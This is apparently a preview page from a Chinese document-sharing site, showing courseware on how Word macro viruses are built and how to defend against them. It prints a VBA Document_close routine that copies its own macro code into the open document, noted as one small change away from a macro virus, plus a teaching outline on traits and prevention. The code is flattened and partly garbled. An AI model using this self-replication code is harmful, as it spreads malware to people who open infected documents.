- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
宏病毒的编制原理
该 病毒是主要利用了微软的宏功能 编制的 病毒,事实上并不仅是 Office中的VBA可以用来写 病毒,任何有文件I/O功能的 SCRIPT都可以,如:ASP中的VBSCRIPT,WINDOWS中的SCRIPT,STAROFFICE中的MACRO,DOS中的 BAT,UNIX中的SHELLSCRIPT等.考虑传播的可能性,以WORD为首位.以下说明WORD中的MacroVirus制作.
*AutoMacro这里所说的AutoMacro不只是AutoOpen一类的宏.还包括 DocumentOpen,DocumentClose一类,在执行必要操作时会触发的事件. 病毒触发是要在隐含在正常的操 作中,这些必然执行的宏就是最好的宿主.
*访问 病毒体,ActiveDocument 和NormalTemplate要用到的对象MacroContainer:当前Macro所在的 ContainerActiveDocument,NormalTemplate: 顾名思义,不用说了.
*访问宏代码的对象(方法)class.VBProject.VBComponents.Item(1).Codemodule(class 为Macro-Container,ActiveDocument,NormalTemplate中的一个),为指向宏的对象.
主要的方法:string Lines(StartLine,Lines) 返回由StartLine开始的Lines行InsertLines Location,Strings 将Strings插入到由Location指定的行以下是一个将MacroContainer的Sub Document_close()写到ActiveDocument的例子,改一下就是个宏 病毒了^_^:
Sub Document_close()set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModuleset a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModulefor i=1 to m.CountOfLinesstr=m.Lines(i,1)if str=Sub Document_close() then Exit Fornextj=1Label_01:a.InsertLines j,strif str=End Sub goto Label_02j=j+1i=i+1str=m.Lines(i,1)goto Label_01Label_02:End Sub--
+++++++++++++++++++++++++++++
宏病毒介绍防范
宏病毒
学习目标
8226;????? 掌握宏病毒概念
8226;????? 掌握宏病毒制作机制
8226;????? 了解宏病毒实例
8226;????? 掌握宏病毒防范方法
8226;????? 掌握宏病毒实验
宏病毒定义
8226;????? 宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。
支持宏病毒的应用系统特点
8226;????? 要达到宏病毒传染的目的,系统须具备以下特性:
–? ?可以把特定的宏命令代码附加在指定文件上;
–? ?可以实现宏命令在不同文件之间的共享和传递;?
–? ?可以在未经使用者许可的情况下获取某种控制权。
可支持宏病毒的应用系统
8226;????? Microsoft公司的WORD、EXCEL、Access、PowerPoint、Project、Visio等产品;
8226;????? Inprise公司的Lotus AmiPro字处理软件;
8226;????? 此外,还包括AutoCAD、Corel Draw、PDF等等。
宏病毒的特点
8226;????? 传播极快
8226;????? 制作、变种方便
8226;????? 破坏可能性极大
8226;????? 多平台交叉感染
8226;????? 地域性问题
宏病毒的共性
8226;????? 宏病毒会感染DOC文档文件和DOT模板文件。
8226;????? 打开时激活,通过Normal模板传播。
8226;????? 通过AutoOpen,AutoClose,AutoNew和AutoExit等自动宏获得控制权。
8226;????? 病毒宏中必然含有对文档读写操作的宏指令。
宏病毒的作用机制
8226;????? 模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性(包括宏、菜单、格式等)。
822
您可能关注的文档
- 西方文学名著导引全套配套课件蒋承勇卜伽丘的《十日谈》:人欲是天然合理的?.ppt
- 西方经济学(第三版)微观经济学黎诣远关于微观经济学第三版课件的修改.doc
- 西方经济学(第三版)微观经济学黎诣远电子教案.ppt
- 西方经济学(第三版)微观经济学黎诣远第一篇 习题解答.doc
- 西方经济学(第三版)微观经济学黎诣远第三篇 习题解答.doc
- 西方经济学(第三版)微观经济学黎诣远第五篇 习题解答.doc
- 西方经济学(第三版)微观经济学黎诣远课程说明.doc
- 触发器教学课件作者含和视频-王立武要点.pptx
- 触发器教学课件作者含和视频-王立武触发器.pptx
- 计应用基础8-2江南水乡.pptx
- 计算机安全技术TOOLS教程课件第1章 计算机安全概述.ppt
- 计算机安全技术TOOLS教程课件第2章 实体和基础设施安全.ppt
- 计算机安全技术TOOLS教程课件第3章 密码技术.ppt
- 计算机安全技术TOOLS教程课件第4章 操作系统安全技术.ppt
- 计算机安全技术TOOLS教程课件第5章 计算机网络安全技术.ppt
- 计算机安全技术TOOLS教程课件第6章 数据库系统安全技术.ppt
- 计算机安全技术TOOLS教程课件第7章 应用安全技术.ppt
- 计算机安全技术TOOLS教程课件第8章 容灾与数据备份技术.ppt
- 计算机应用基础 课件教学全套课件(高职版CRH(样张).pptx
- 计算机应用基础 课件教学全套课件(高职版例5.10 大学3(样张).pptx
最近下载
- 在线网课学习课堂《学术英语(华理 )》单元测试考核答案.pdf VIP
- 涉密信息系统集成甲级资质单位名录2024版.pptx VIP
- 高血压临床路径表单.pdf VIP
- 二年级道德与法治集体备课记录 .pdf VIP
- NB_T 10483-2020 三相干式非晶合金立体卷铁心配电变压器技术参数和要求.docx VIP
- 2025四川成都空港兴城投资集团有限公司下属企业招聘一线岗位104人笔试模拟试题及答案解析.docx VIP
- T_CSAE 244一2021 纯电动乘用车底部抗碰撞能力要求及试验方法.pdf VIP
- 软件无偿使用合同9篇.docx
- 教学课件 《爆破工程(第2版)》戴俊.ppt
- 21起典型火灾案例及消防安全知识专题培训(2025年).ppt
文档评论(0)